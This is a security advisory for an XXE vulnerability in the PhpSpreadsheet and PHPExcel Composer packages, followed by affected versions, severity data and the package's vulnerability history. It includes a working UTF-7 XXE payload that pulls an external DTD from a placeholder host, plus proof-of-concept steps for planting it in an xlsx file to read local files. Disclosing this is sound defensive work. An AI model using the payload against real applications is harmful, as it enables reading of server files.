XXE in PHPSpreadsheet encoding is returned
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
- Create simple xlsx file
- Rename xlsx to zip
- Go to the zip and open the
xl/sharedStrings.xmlfile in edit mode. - Replace
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
- Save
sharedStrings.xmlfile and rename zip back to xlsx. - Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
- You will receive the request to your
http://%webhook%/file.dtd - Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpoffice/phpexcel | <= 1.8.2 | no fix |
| Composer package | phpoffice/phpspreadsheet | < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 | 1.29.1, 2.2.1, 2.1.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-611- Platform
- Composer
- Package
phpoffice/phpexcel, phpoffice/phpspreadsheet- Disclosed
- 29.08.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-ghg6-32f9-2jp7 - CC BY 4.0
Vulnerability history: phpoffice/phpspreadsheet
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 31
- First → latest
- 11.2019 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 17
- Medium 12
Disclosures per year
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 9
- 2025: 10
- 2026: 9
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XXE in PHPSpreadsheet encoding is returned this entry
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